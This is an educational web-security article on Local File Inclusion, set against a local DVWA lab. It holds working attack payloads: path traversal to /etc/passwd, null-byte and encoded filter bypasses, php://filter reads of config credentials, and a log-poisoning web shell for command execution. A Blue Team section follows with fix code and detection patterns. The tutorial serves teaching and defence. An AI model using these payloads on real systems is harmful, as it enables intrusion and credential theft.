Local File Inclusion (LFI) Fundamentals: Path Traversal, /etc/passwd, and Filter Bypasses

Web Exploitation
Time it takes to read this article 6 minutes.

Disclaimer. This article is for education and authorized security testing only. Run these techniques exclusively against systems you own or have explicit written permission to test. Unauthorized access to computer systems is illegal in most jurisdictions (e.g., the US CFAA, the UK Computer Misuse Act). You are responsible for your own actions.

Introduction

Local File Inclusion (LFI) is one of the oldest and still most common web vulnerabilities. It occurs when an application takes user-controlled input and uses it to build a file path that is read or included by the server, without proper validation. The impact ranges from disclosure of sensitive files (configuration, credentials, source code) to full remote code execution (RCE) when an attacker can control the contents of an included file.

In this article you will learn how LFI works at the mechanism level, how to exploit it with path traversal, why /etc/passwd is the classic proof-of-concept target, the historical null byte trick, and modern filter bypass techniques such as PHP wrappers. We finish with a Blue Team section because detection and prevention matter just as much as the attack.

How It Works

LFI typically lives in code that dynamically loads a resource based on a parameter. A textbook-vulnerable PHP snippet:

<?php
$page = $_GET['page'];
include($page . ".php");   // attacker controls $page
?>
PHP

When the application calls include, require, fopen, file_get_contents, or similar with attacker-influenced input, the attacker can escape the intended directory. The core trick is path traversal: the ../ sequence tells the filesystem to move up one directory. By chaining enough of them, you reach the filesystem root and then descend into a known path:

http://target/index.php?page=../../../../../../etc/passwd
Bash

/etc/passwd is the canonical target because it is world-readable on every Linux system and its presence (lines like root:x:0:0:root:/root:/bin/bash) unambiguously confirms file read. It rarely contains password hashes anymore (those live in /etc/shadow, root-only), but it proves the vulnerability and enumerates usernames.

The difference between LFI and Remote File Inclusion (RFI) is the source of the file. LFI reads files already on the server; RFI pulls a remote URL (only possible when allow_url_include=On in PHP, off by default since 5.2). This post focuses on LFI.

Prerequisites / Lab Setup

You need an isolated lab. A quick vulnerable target with Docker:

# Spin up a deliberately vulnerable PHP app (DVWA)
docker run --rm -it -p 80:80 vulnerables/web-dvwa

# Then browse to http://localhost/ , log in (admin/password),
# set security to "low", and use the "File Inclusion" module.
Bash

Tools we will use:

# curl for raw requests, and a wordlist-driven LFI scanner
sudo apt install -y curl seclists
pipx install ffuf            # fast fuzzer
# LFISuite / liffy are alternatives, but curl + ffuf is enough
Bash

Attack Walkthrough / PoC

Step 1 — Confirm path traversal

Start with the classic /etc/passwd read. Use enough ../ to be safe; extras are harmless because you cannot go above the root:

curl -s "http://localhost/vulnerabilities/fi/?page=../../../../../../../../etc/passwd"
Bash

A successful hit returns the file contents:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
Bash

Step 2 — Defeat naive filters with the null byte

Older PHP (< 5.3.4) was vulnerable to null byte injection. When code appended a fixed extension, for example include($page . ".php"), a URL-encoded null byte %00 terminated the C string early, dropping the .php:

# Legacy PHP < 5.3.4 only
curl -s "http://localhost/index.php?page=../../../../etc/passwd%00"
Bash

The null byte made ../../../../etc/passwd\0.php read as just ../../../../etc/passwd. This was patched in PHP 5.3.4 (CVE-2006-7243 lineage), so it only matters on legacy targets — but it is essential to recognize in CTFs and old systems.

Step 3 — PHP wrapper filter bypass (read source code)

When the extension is forced and null bytes are dead, use PHP stream wrappers. The php://filter wrapper applies a conversion filter; Base64-encoding the target lets you exfiltrate PHP source without it being executed by include:

curl -s "http://localhost/?page=php://filter/convert.base64-encode/resource=config" \
  | base64 -d
Bash

This returns the Base64 of config.php (the .php is re-appended after resource=config), which you decode locally to read database credentials and other secrets.

Step 4 — From LFI to RCE

Several escalation paths turn read-only LFI into code execution:

  • Log poisoning. Inject PHP into a log the web server reads, then include it:
# Plant a payload in the Apache access log via the User-Agent
curl -s "http://localhost/" -A "<?php system(\$_GET['c']); ?>"

# Include the log and run commands
curl -s "http://localhost/?page=../../../../var/log/apache2/access.log&c=id"
Bash
  • php://input — POST raw PHP code when allow_url_include=On.
  • data:// wrapper — data://text/plain;base64,<payload> for inline code.
  • PHP session files/var/sess_<id> poisoning when session values are attacker-controlled.

Step 5 — Bypassing traversal filters

If ../ is stripped once (non-recursively), nest it so removal leaves a valid sequence; or try encodings:

# Nested traversal survives a single non-recursive strip of "../"
?page=....//....//....//etc/passwd

# URL / double-URL encoding
?page=..%2f..%2f..%2fetc%2fpasswd
?page=..%252f..%252f..%252fetc%252fpasswd

# Path truncation / wrapper tricks for forced extensions (legacy)
?page=../../../etc/passwd/./././.   (deep enough on old PHP)
Bash

Attack Flow Diagram

Local File Inclusion (LFI) Fundamentals: Path Traversal, /etc/passwd, and Filter Bypasses diagram 1

Text summary: locate a file-loading parameter, confirm with /etc/passwd, apply a bypass if filtered, then escalate to RCE via log/session poisoning or PHP wrappers.

Detection & Defense (Blue Team)

LFI maps to MITRE ATT&CK T1190 (Exploit Public-Facing Application) and the OWASP Top 10 category A03:2021 – Injection (with path traversal under A01:2021 – Broken Access Control). Defense in depth:

1. Never pass user input directly to file APIs. Use an allow-list of permitted values mapped to fixed paths:

<?php
$pages = ['home' => 'home.php', 'about' => 'about.php'];
$key   = $_GET['page'] ?? 'home';
include $pages[$key] ?? 'home.php';   // input never touches the path
?>
PHP

2. Canonicalize and validate. If a path must be dynamic, resolve it and confirm it stays inside the intended base directory:

<?php
$base = realpath('/var/www/pages');
$path = realpath($base . '/' . basename($_GET['page']));
if ($path === false || strncmp($path, $base, strlen($base)) !== 0) {
    http_response_code(400);
    exit('Invalid path');
}
include $path;
?>
PHP

basename() strips directory components and realpath() collapses ../, defeating traversal.

3. Harden PHP configuration in php.ini:

allow_url_include = Off
allow_url_fopen   = Off
open_basedir      = /var/www/html
INI

open_basedir confines file operations to a directory tree, so even a working traversal cannot reach /etc/passwd.

4. WAF and detection rules. The OWASP CRS for ModSecurity ships rules (900xxx/930xxx) that flag ../, %2e%2e, /etc/passwd, and php://filter. Tune to your app to avoid false positives. Hunt in logs for these patterns:

# Surface likely LFI attempts in Apache logs
grep -E '\.\./|%2e%2e|etc/passwd|php://|data://' /var/log/apache2/access.log
Bash

5. Monitoring. Alert on web-server processes reading sensitive files (/etc/passwd, /etc/shadow, app config) using auditd or Falco. Watch for unexpected reads of log files by the PHP-FPM/Apache user — a hallmark of log poisoning.

6. Least privilege. Run the web server as an unprivileged user, mount sensitive paths read-only, and keep PHP patched (null-byte and many wrapper issues are fixed in modern versions).

For related lateral-movement and post-exploitation techniques, see SQL Injection Fundamentals, PHP Deserialization Attacks, and Web Shell Detection and Defense.

Conclusion

LFI is conceptually simple — user input reaching a file API — yet it remains dangerous because the same primitive that leaks /etc/passwd can be escalated to full RCE through log poisoning or PHP wrappers. As an attacker, your workflow is: confirm with traversal, bypass filters (null byte on legacy, php://filter and encodings on modern targets), then escalate. As a defender, the cure is decisive: allow-list inputs, canonicalize paths, set open_basedir, and disable URL includes. Treat every dynamic file path as hostile and the entire bug class disappears.

References

Comments

Copied title and URL